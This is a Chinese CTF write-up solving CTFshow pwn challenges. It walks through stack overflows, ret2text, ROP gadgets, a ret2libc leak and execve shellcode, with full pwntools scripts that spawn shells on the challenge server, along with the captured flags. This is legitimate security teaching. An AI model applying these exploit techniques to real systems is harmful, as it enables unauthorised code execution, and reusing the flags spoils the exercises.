Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

前置基础

Pwn5

image-20251004201908767

先查看文件,发现是elf文件,然后给它加上运行权限并运行它。
(注意,在Linux中这种外来文件如果不专门添加运行权限我们是无法运行它的。)

1
2
3
4
5
6
7
└─$ file Welcome_to_CTFshow
Welcome_to_CTFshow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

└─$ chmod +x Welcome_to_CTFshow

└─$ ./Welcome_to_CTFshow
Welcome_to_CTFshow_PWN

所以flag为:

1
ctfshow{Welcome_to_CTFshow_PWN}

Pwn6

image-20251004202323849

我们先来仔细地看一下这个程序(利用IDA的反编译):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public start                ; 声明入口符号 start(程序入口点)
start proc near

mov eax, 0Bh ; EAX = 0Bh (十进制 11)
add eax, 1BF48h ; EAX = EAX + 0x1BF48 (即 EAX = 0x1BF48 + 11)
sub eax, 1 ; EAX = EAX - 1

mov ebx, 36Dh ; EBX = 0x36D (十进制 877)
mov edx, ebx ; EDX = EBX = 0x36D

mov ecx, dword ptr aWelcomeToCtfsh ; ECX = 内存中存放的字符串地址前 4 字节
; 这其实会把字符串 “Welcome_to_CTFshow_PWN” 的前四个字节当作整数加载

mov esi, offset aWelcomeToCtfsh ; ESI = "Welcome_to_CTFshow_PWN" 的地址

mov eax, [esi] ; EAX = 前 4 个字节 (即 "Welc")
mov ecx, offset aWelcomeToCtfsh ; 再次将 ECX 置为字符串地址
add ecx, 4 ; ECX = ECX + 4,跳过前 4 字节 ("Welc")
mov eax, [ecx] ; EAX = 下一个 4 字节 ("ome_")

mov ecx, offset aWelcomeToCtfsh ; 再次装入字符串地址
mov edx, 2
mov eax, [ecx+edx*2] ; EAX = [aWelcome_to_CTFshow_PWN + 4],效果类似上一步

mov ecx, offset aWelcomeToCtfsh
mov edx, 1
add ecx, 8
mov eax, [ecx+edx*2-6]
; 这些多次 mov 的操作都是冗余的,可能是故意混淆或干扰反汇编阅读
; 实际对最终输出没有影响

; --- 以下是真正有意义的代码部分 ---

mov eax, 4 ; 系统调用号 4:sys_write
mov ebx, 1 ; 文件描述符 1:stdout
mov ecx, offset aWelcomeToCtfsh ; ECX = 要输出的字符串地址
mov edx, 16h ; EDX = 要写的长度(0x16 = 22 字节)
int 80h ; 调用内核:write(1, "Welcome_to_CTFshow_PWN", 22)

mov eax, 1 ; 系统调用号 1:sys_exit
xor ebx, ebx ; EBX = 0(退出状态码 0)
int 80h ; 调用内核:exit(0)

start endp

_text ends

定义:

立即寻址(Immediate Addressing)是指:指令中的操作数本身就是常量(立即数),该常量直接编码在指令内,CPU 取出指令即可得到该值,无需再访问寄存器或内存取数。


这段代码中立即寻址的部分是:

1
2
3
4
5
mov     eax, 0Bh
add eax, 1BF48h
sub eax, 1

mov ebx, 36Dh ; 这行跟eax没有关系,所以可以忽略。

0Bh1BF48hh都是十六进制的后缀,所以这段内容相当于:

1
2
3
4
5
eax = 0x0000000B

eax += 0x0001BF48 # =0x0001BF53

eax -= 1 # =0x0001BF52=114514

所以flag为:

1
ctfshow{114514}

栈溢出

Pwn35

image-20251004214331545

检查一下文件的保护措施:

1
2
3
4
5
6
7
8
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ls
pwnme
$ ./pwnme
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : See what the program does!
* *************************************
Where is flag?

image-20251004214719026

看一下这个ctfshow函数:

1
2
3
4
5
6
char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

return strcpy(dest, src);
}

不难发现常见的漏洞函数strcpy,但该怎么利用它呢?

注意到这一行:

1
signal(11, (__sighandler_t)sigsegv_handler);
1
2
3
4
5
6
void __noreturn sigsegv_handler()
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}

signal(11, (__sighandler_t)sigsegv_handler);

  • 11 是 POSIX 信号号 SIGSEGV(段错误 / segmentation fault)。
  • signal(signum, handler) 用来注册信号处理函数:当进程收到 signum 信号时,内核会中断当前执行流并跳到 handler
  • 这里把 sigsegv_handler 注册为 SIGSEGV 的处理器 —— 当程序发生段错误(例如非法内存访问或访问保护页)时不会按默认行为终止并打印 core,而是去执行这个自定义处理函数。
  • (__sighandler_t) 是一个类型转换,把 sigsegv_handler 强制转为 signal 期待的函数指针类型,以避免编译器类型不匹配的警告(通常 signal 要求特定签名 void (*)(int),而这里 handler 定义不带参数,所以做了 cast)。

fprintf(stderr, "%s\n", flag);

  • 把全局或外部变量 flag 当作字符串,写到标准错误流 stderrfprintf 会格式化并写入缓冲区,最终通过底层 write 输出到终端或重定向的目标。

fflush(stderr);

  • 强制把 stderr 的缓冲区刷出到文件描述符,确保输出立刻可见(尤其是当 stderr 被行缓冲或全缓冲时)。
  • 由于 stderr 常常是行缓冲/无缓冲,fflush 可提高输出可靠性,确保在随后退出前内容已写出。

简单总结一下:

strcpy(dest, src) 写出栈边界并产生段错误时,内核发送 SIGSEGV,程序控制流会跳到 sigsegv_handlerhandler 里会将flag写到stderr,然后退出程序。

也就是说我们只需要想办法利用Buffer Overflow触发segmentation fault,便可以得到flag。

因为给dest分配的是104个字节,所以我们直接输入105个字节即可。

1
2
>>> print("A"*105)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./pwnme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : See what the program does!
* *************************************
Where is flag?

ctfshow{5f912424-3426-45dd-9966-84c4247d058b}

Pwn36

image-20251004234916100

1
2
3
4
5
6
7
8
9
10
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn36/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}

依旧查看最核心的ctfshow()函数:

1
2
3
4
5
6
char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

发现漏洞gets()

查看Stack结构:

image-20251004233708870

image-20251004233212293

在Exports里发现一个可疑的函数get_flag()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

这个函数会直接打印flag内容。

所以我们可以利用Buffer Overflow的漏洞修改返回地址调用这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote("pwn.challenge.ctf.show", 28180)

get_flag = p32(0x08048586)

payload = b"A"*40 + b"B"*4 + get_flag + b"\n"
r.sendafter("Enter what you want:",payload)

r.interactive()

# ctfshow{89602abf-e798-4ebd-b48b-3e300905a6fa}

Pwn37

image-20251005112222214

1
2
3
4
5
6
7
8
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn37/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Just very easy ret2text&&32bit");
ctfshow();
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);
}

可以发现这里read()函数设置的参数有问题,读取的内容长度远大于buf的长度。

栈结构:

image-20251005112721353

查看Exports,发现一个backdoor()函数:

image-20251005112530156

1
2
3
4
5
int backdoor()
{
system("/bin/sh");
return 0;
}

所以我们直接利用Buffer Overflow覆盖掉buf并将返回地址修改为backdoor函数的地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = remote("pwn.challenge.ctf.show", 28105)

backdoor = p32(0x08048521)

payload = b"A"*(16+2) + b"B"*4 + backdoor + b"\n"

r.sendafter("Just very easy ret2text&&32bit",payload)

r.sendline("cat ctfshow_flag")
r.interactive()

# ctfshow{64195e89-1576-4a46-94df-fc156c7d0dd2}

Pwn38

image-20251005161948102

1
2
3
4
5
6
7
8
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn38/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(s);
puts(asc_400890);
puts(asc_400910);
puts(asc_4009A0);
puts(asc_400A30);
puts(asc_400AB8);
puts(asc_400B50);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh'.There is a backdoor function");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32uLL);
}

image-20251005162808791

image-20251005162825951

和上一题基本上一模一样。

image-20251005192948467

但最核心的区别在于:由于backdoor函数里会使用call命令,所以我们这里需要保证栈对齐(stack alignment)。因为x86_64 System V ABI 要求:在执行 call 指令之前,RSP 必须 16 字节对齐

所以需要额外使用一个ret命令,即将原本的返回地址修改为ret命令的地址,然后跟上backdoor函数的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

r = remote("pwn.challenge.ctf.show", 28136)

elf = ELF('./pwn')
# 找 ret 指令
rets_iter = elf.search(asm('ret'))
ret_addr = next(rets_iter)
ret = p64(ret_addr)

backdoor = p64(0x0000000000400657)

payload = b"A"*(10+8) + ret + backdoor + b"\n"

r.sendafter("Just easy ret2text&&64bit",payload)

r.sendline("cat ctfshow_flag")
r.interactive()

# ctfshow{90f8e2c6-c456-4a17-92b3-1ff6e2db4cd9}

32-bit的基本对齐单位是4字节:返回地址与栈帧管理以4的倍数移动 -> 对齐稳定、问题少。

64-bit的ABI要求16字节对齐,但 call/ret 的变化是8字节 -> RSP 会在(0 mod 16)与(8 mod 16)两种状态间切换 。


Pwn39

image-20251005194528787

1
2
3
4
5
6
7
8
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn39/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts(asc_804876C);
puts(asc_80487E0);
puts(asc_804885C);
puts(asc_80488E8);
puts(asc_8048978);
puts(asc_80489FC);
puts(asc_8048A90);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&32bit");
ctfshow(&argc);
puts("\nExit");
return 0;
}

还是一样的漏洞:

1
2
3
4
5
6
ssize_t ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);
}

image-20251005195139578

并且发现一个奇怪的hint()函数:

1
2
3
4
5
int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}

找到"/bin/sh"字符串的地址:

image-20251005195048384

所以思路如下:将返回地址修改为system函数,并将"/bin/sh"作为参数传递给system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r = remote("pwn.challenge.ctf.show", 28309)

elf = ELF('./pwn')

system = p32(0x080483A0)
# system = p32(elf.sym['system'])
bin_sh = p32(0x08048750)

payload = b"A"*(0x12+4) + system + p32(0) + bin_sh + b"\n"

r.sendafter("Just easy ret2text&&32bit",payload)

r.sendline("cat ctfshow_flag")
r.interactive()

# ctfshow{e62b2132-b552-439b-992f-7965c0d65d4f}

这个p32(0)其实就是给 system 函数占位的假返回地址。它是必须的,因为在32-bit的调用约定里函数的参数是放在栈上的,且在函数入口处第一个参数位于 ESP+4ESP 指向返回地址)。

Pwn40

image-20251005214144740

1
2
3
4
5
6
7
8
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn40/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(asc_400828);
puts(asc_4008A0);
puts(asc_400920);
puts(asc_4009B0);
puts(asc_400A40);
puts(asc_400AC8);
puts(asc_400B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32uLL);
}

image-20251005215008284

image-20251005215125706

这道题的思路同样是想办法调用system()函数并传入/bin/sh作为参数。

利用pwntools可以确定这个程序某个地方使用了pop rdi ; ret命令并可以找到它的地址。

1
2
3
4
5
6
7
from pwn import *

elf = ELF('./pwn')

pop_rdi = p64(next(elf.search(asm('pop rdi ; ret', arch='amd64'))))
# print(pop_rdi)
# 4196323

可以确定这个程序某个地方使用了pop rdi ; ret命令并可以找到它的地址。

先来解释一下这个命令:pop rdi ; ret 会从当前栈顶取出一个值放入 rdi 寄存器(即函数第 1 个参数),然后跳转到下一个地址继续执行。

在 x86-64 System V 调用约定中,函数的第一个参数通过 rdi 传递,它传的是值,不是地址;如果这个值是地址类型(如指针),函数内部才会用它当作地址来读取内容。

ret命令具体执行的内容是:

  1. [rsp] 取 8 字节 → 赋值给 rip(指令指针)
  2. rsp += 8

所以我们可以利用这个命令构造一条这样的ROP链:

1
2
3
4
5
6
7
8
9
10
11
pop_rdi = p64(next(elf.search(asm('pop rdi ; ret', arch='amd64'))))
# print(pop_rdi)
# 4196323

bin_sh = p64(0x400808)

ret = p64(next(elf.search(asm('ret', arch='amd64'))))

system = p64(elf.sym['system'])

payload = b"A"*(0xA+8) + pop_rdi + bin_sh + ret + system + b"\n"

与之前一样,这里的ret同样是为了保证Stack对齐。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

r = remote("pwn.challenge.ctf.show", 28310)

elf = ELF('./pwn')

pop_rdi = p64(next(elf.search(asm('pop rdi ; ret', arch='amd64'))))
# print(pop_rdi)
# 4196323

bin_sh = p64(0x400808)

ret = p64(next(elf.search(asm('ret', arch='amd64'))))

system = p64(elf.sym['system'])



payload = b"A"*(0xA+8) + pop_rdi + bin_sh + ret + system + b"\n"

r.sendafter("Just easy ret2text&&64bit",payload)

r.sendline("cat ctfshow_flag")
r.interactive()

# ctfshow{ecc4ad83-cec6-4ea9-af2e-47230707655a}

Pwn42

image-20251022232020746

image-20251022232100828

1
2
3
4
5
6
7
8
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn42/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
logo();
ctfshow();
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32u);
}

首先可以在IDA的Imports页面看到system函数,也就是题目里说的有system()

image-20251022230411185

而在Imports页面里可以发现一个useful函数:

1
2
3
4
int useful()
{
return printf("sh");
}

我们刚好可以利用这个”sh”来代替”/bin/sh”,将其传递给system()

最后再确认一下Stack结构以及偏移:

image-20251022230907374

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

r = remote('pwn.challenge.ctf.show', 28311)

elf = ELF('./pwn',checksec = "False")

system = p64(elf.sym['system'])

pop_rdi = p64(next(elf.search(asm('pop rdi ; ret', arch='amd64'))))

sh = p64(next(elf.search(b'sh')))

ret = p64(next(elf.search(asm('ret', arch='amd64'))))

payload = b"A"*18 + pop_rdi + sh + ret + system

r.sendline(payload)
r.recv()
r.sendline(b'cat ctfshow_flag')
r.interactive()

# ctfshow{f73de357-2080-4c01-9167-464f37a3e682}

Ret2libc

Pwn46

image-20251022233545097

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("O.o?");
ctfshow();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
_BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF

return read(0, buf, 0xC8u);
}

漏洞依旧是read函数导致的Buffer Overflow。

现在我们虽然没有直接的system函数和"/bin/sh"。但是system函数是属于libc的,而libc.so动态链接库中的函数之间的相对偏移是固定的。

而假如我们可以得知libc中某个函数的地址,那么我们就可以根据该程序利用的libc来计算出system函数的地址。并且libc中其实也有"/bin/sh"字符串的。所以都可以获得。

那么该怎样完成第一步呢?我们可以用这里的write()函数。

思路如下:

  1. 泄露write函数地址:

    • 先来看一下write函数的语法:

      1
      ssize_t write(int fd, const void *buf, size_t count);

      含义与参数

      • fd:文件描述符。常见 0=stdin,1=stdout,2=stderr;也可以是普通文件、管道、socket 等。
      • buf:待写出的内存起始地址。
      • count:希望写出的字节数。
    • 所以我们希望这样调用write函数:

      1
      write@plt(fd=1, buf=&write@got, count=rdx)
      • write@plt:是代码段里的跳板(stub)地址,一小段可执行指令。需要通过调用它(把 RIP 跳过去)来间接调用真正的 libc::write
      • &write@got:是数据段里 GOT 表项的内存地址(8 字节)。这个表项里存放着真正的函数地址(解析后就是 libcwrite 的真实指针)。可以把它当数据指针用,比如 write(1, &write@got, 8) 就能把那 8 字节“指针值”打印出来。
    • 按 SysV x64 ABI,函数前三个参数放在 rdi, rsi, rdx

      • 利用pop_rdi + p64(1)来设置第一个参数;
      • 再利用pop_rsi_r15 + write_got + p64(0)设置第二个参数;
      • 最后再retwrite@plt
      • 我们没有 pop rdx gadget,但前面刚调用过 read(0, buf, 0xC8)。所以在我们接管返回地址时,寄存器 rdx 仍保留为 0xC8

    等write执行完了我们再将返回地址修改成main,让整个程序再跑一遍,用于注入执行system('/bin/sh')

  2. 获取libc版本

    利用python的LibcSearcher库:

    1
    2
    3
    4
    write = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

    libc = LibcSearcher('write',write)
    libc_base = write - libc.dump('write')
  3. 获取system函数与"/bin/sh"的地址

    1
    2
    system = libc_base + libc.dump('system')
    bin_sh = libc_base + libc.dump('str_bin_sh')
  4. 再次执行程序

  5. 触发栈溢出执行system('/bin/sh')

可以使用GDB查找gadgets的地址:

image-20251023113922636

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

r = remote('pwn.challenge.ctf.show', 28258)
elf = ELF('./pwn')

write_plt = p64(elf.plt['write'])
write_got = p64(elf.got['write'])
main = p64(elf.sym['main'])

# pop_rdi = p64(0x400803)
pop_rdi = p64(next(elf.search(asm('pop rdi ; ret', arch='amd64'))))

pop_rsi_r15 = p64(0x400801) # pop rsi ; pop r15 ; ret

payload = b"A"*(0x70+8)
payload += pop_rdi + p64(1) # rdi = 1 (stdout)
payload += pop_rsi_r15 + write_got + p64(0) # rsi = &write@got, r15 占位
payload += write_plt # ret 到 write@plt
payload += main # write 返回后再回 main


r.sendlineafter(b"O.o?",payload)
write = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write))

libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b"A"*(0x70+8) + pop_rdi + p64(bin_sh) + p64(system)
r.sendlineafter(b"O.o?",payload)

r.interactive()

Pwntools的shellcode

Pwntoolsshellcode的字节长度如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

# context(arch='i386', os='linux')
# shellcode_32 = asm(shellcraft.sh())
# print(len(shellcode_32)) # 44

context(arch='amd64', os='linux')
shellcode_64 = asm(shellcraft.sh())

print(len(shellcode_64)) # 48

Pwn56

image-20251006211052989

1
2
3
4
5
6
7
8
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn56/pwn'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public start
start proc near
push 68h ; 'h'
push 732F2F2Fh
push 6E69622Fh
mov ebx, esp ; file
xor ecx, ecx ; argv
xor edx, edx ; envp
push 0Bh
pop eax
int 80h ; LINUX - sys_execve
start endp

_text ends

这段代码是x86汇编语言的代码,用于在Linux系统上执行execve(“/bin//sh”, NULL, NULL)。

所以我们一连接到服务器就会直接拿到Shell:

1
2
3
└─$ nc pwn.challenge.ctf.show 28214
cat ctfshow_flag
ctfshow{7b0cc826-a180-4ce8-a26c-a4531b634162}

Pwn57

image-20251005214123478

1
2
3
4
5
6
7
8
9
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn57/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
Stripped: No

(注意到这个程度的Stack是Executable的。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public _start
_start proc near
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx, 68732F2F6E69622Fh
push rbx
push rsp
pop rdi
mov al, 3Bh ; ';'
syscall ; LINUX -
_start endp

_text ends


end _start

这段代码是x86-64汇编语言的代码,用于在Linux系统上执行execve(“/bin//sh”, NULL, NULL)。

push rax
把 RAX 压栈,意图是给后面的字符串做一个 8 字节的 \0 终止符。

xor rdx, rdx
RDX = 0,作为 envp = NULL

xor rsi, rsi
RSI = 0,作为 argv = NULL(Linux 内核允许 argv 为 NULL,等价于空参数列表)。

mov rbx, 68732F2F6E69622Fh
把常量装入 RBX。按小端序,这 8 字节在内存中是字符串 "/bin//sh"

push rbx
"/bin//sh" 压到栈上;若前面的 push rax 是 0,这里就得到以 NUL 结尾的字符串。

push rsp / pop rdi
把当前 RSP(也就是刚压入的字符串地址)放到 RDI。RDI 将作为 filename 参数。

mov al, 3Bh
AL = 0x3B(十进制 59),x86-64 Linux 上 execve 的系统调用号。

syscall
触发系统调用:execve(rdi="/bin//sh", rsi=NULL, rdx=NULL)。成功的话当前进程映像被 /bin//sh 替换,进入交互 shell;失败则返回带 errno 的负值到 RAX。

所以我们一连接到服务器就会直接拿到Shell:

1
2
3
└─$ nc pwn.challenge.ctf.show 28291
cat ctfshow_flag
ctfshow{048529da-d481-45f2-9a88-7b900ccd1dbb}

Pwn59

1
2
3
4
5
6
7
8
9
10
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn59/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc near

var_B0= qword ptr -0B0h
var_A4= dword ptr -0A4h
var_A0= byte ptr -0A0h

; __unwind {
push rbp
mov rbp, rsp
sub rsp, 0B0h
mov [rbp+var_A4], edi
mov [rbp+var_B0], rsi
mov rax, cs:__bss_start
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbuf
mov eax, 0
call logo
lea rdi, aJustVeryEasyRe ; "Just very easy ret2shellcode&&64bit"
call _puts
lea rdi, aAttachIt ; "Attach it!"
call _puts
lea rax, [rbp+var_A0]
mov rdi, rax
call ctfshow
lea rdx, [rbp+var_A0]
mov eax, 0
call rdx
mov eax, 0
leave
retn
; } // starts at 400686
main endp

不知道IDA为什么没法反汇编这段。

简单解释一下这个程序:

关闭/调整缓冲 -> 打印横幅 -> 为局部缓冲区调用 ctfshow(把数据/用户输入放到缓冲区)-> 然后把这个缓冲区当作代码执行(call buffer) -> 返回 0。

所以说我们直接发送一段shellcode就好了。

可以利用Pwntools里的shellcode函数高效实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch = "amd64", os = "linux")
r = remote("pwn.challenge.ctf.show", 28112)
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()

# └─$ python exp.py
# [+] Opening connection to pwn.challenge.ctf.show on port 28112: Done
# [*] Switching to interactive mode
# ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
# ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
# ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
# ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
# ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
# ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
# ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
# * *************************************
# * Classify: CTFshow --- PWN --- 入门
# * Type : Stack_Overflow
# * Site : https://ctf.show/
# * Hint : Use shellcode to get shell!
# * *************************************
# Just very easy ret2shellcode&&64bit
